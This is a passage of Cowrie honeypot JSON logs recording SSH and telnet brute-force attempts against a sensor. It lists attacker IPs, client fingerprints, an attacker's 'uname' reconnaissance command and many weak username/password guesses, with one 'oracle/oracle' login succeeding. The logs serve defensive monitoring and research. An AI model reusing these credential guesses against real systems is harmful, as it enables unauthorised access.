y1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.318837Z","src_ip":"165.154.137.186","session":"859aa4e8c756","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.411403Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.414349Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.551203Z","src_ip":"165.154.137.186","session":"98143ca4f1b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.691792Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:12.696875Z","src_ip":"165.154.137.186","session":"0dc16c9627b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:13.144890Z","src_ip":"165.154.137.186","session":"859aa4e8c756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:13.818994Z","src_ip":"165.154.137.186","session":"98143ca4f1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:14.427038Z","src_ip":"165.154.137.186","session":"859aa4e8c756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb333ebc5f6","protocol":"ssh","message":"New connection: 103.149.28.157:55878 (159.203.135.109:22) [session: 5bb333ebc5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:14.848564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:14.852611Z","src_ip":"103.149.28.157","session":"5bb333ebc5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:15.094254Z","src_ip":"103.149.28.157","session":"5bb333ebc5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"southern","message":"login attempt [root/southern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:15.813084Z","src_ip":"103.149.28.157","session":"5bb333ebc5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33510,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca67a063c32","protocol":"ssh","message":"New connection: 8.210.75.243:33510 (10.17.0.5:22) [session: 4ca67a063c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:16.266266Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:17.055790Z","src_ip":"103.149.28.157","session":"5bb333ebc5f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:17.672645Z","src_ip":"8.210.75.243","session":"4ca67a063c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60690,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44975bf67a3","protocol":"ssh","message":"New connection: 165.154.137.186:60690 (10.17.0.5:22) [session: f44975bf67a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:18.941469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:18.944885Z","src_ip":"165.154.137.186","session":"f44975bf67a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:19.194558Z","src_ip":"165.154.137.186","session":"f44975bf67a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58982,"dst_ip":"10.17.0.5","dst_port":22,"session":"9301b2a7c49e","protocol":"ssh","message":"New connection: 165.154.137.186:58982 (10.17.0.5:22) [session: 9301b2a7c49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:19.448112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:19.457258Z","src_ip":"165.154.137.186","session":"9301b2a7c49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:19.725232Z","src_ip":"165.154.137.186","session":"9301b2a7c49e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:19.960986Z","src_ip":"165.154.137.186","session":"f44975bf67a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:20.385919Z","src_ip":"8.210.75.243","session":"4ca67a063c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:20.523821Z","src_ip":"165.154.137.186","session":"9301b2a7c49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:21.213633Z","src_ip":"165.154.137.186","session":"f44975bf67a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:21.790822Z","src_ip":"165.154.137.186","session":"9301b2a7c49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"68408957fd5e","protocol":"ssh","message":"New connection: 165.154.137.186:58434 (10.17.0.5:22) [session: 68408957fd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:25.737049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:25.740890Z","src_ip":"165.154.137.186","session":"68408957fd5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:25.999002Z","src_ip":"165.154.137.186","session":"68408957fd5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:26.202556Z","src_ip":"8.210.75.243","session":"4ca67a063c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58446,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1b957a0fe5a","protocol":"ssh","message":"New connection: 165.154.137.186:58446 (10.17.0.5:22) [session: a1b957a0fe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:26.318378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:26.322034Z","src_ip":"165.154.137.186","session":"a1b957a0fe5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:26.576548Z","src_ip":"165.154.137.186","session":"a1b957a0fe5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:26.767363Z","src_ip":"165.154.137.186","session":"68408957fd5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:27.342805Z","src_ip":"165.154.137.186","session":"a1b957a0fe5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:28.025165Z","src_ip":"165.154.137.186","session":"68408957fd5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:28.597960Z","src_ip":"165.154.137.186","session":"a1b957a0fe5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d206c4eabc05","protocol":"telnet","message":"New connection: 170.64.224.25:49018 (159.203.135.109:23) [session: d206c4eabc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:28.925324Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45608,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e3e2a34442","protocol":"ssh","message":"New connection: 8.210.75.243:45608 (10.17.0.5:22) [session: d8e3e2a34442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:35.429321Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57700,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6795737fb54","protocol":"ssh","message":"New connection: 8.210.75.243:57700 (10.17.0.5:22) [session: c6795737fb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:42.914510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:42.918328Z","src_ip":"8.210.75.243","session":"c6795737fb54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cfa33b993d","protocol":"ssh","message":"New connection: 8.210.75.243:41564 (10.17.0.5:22) [session: d2cfa33b993d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:48.324969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:48.329217Z","src_ip":"8.210.75.243","session":"d2cfa33b993d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58642,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e16fc340697","protocol":"ssh","message":"New connection: 165.154.137.186:58642 (10.17.0.5:22) [session: 1e16fc340697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:48.738414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:48.742454Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:49.011579Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:04:49.819483Z","src_ip":"165.154.137.186","session":"1e16fc340697","protocol":"ssh"}
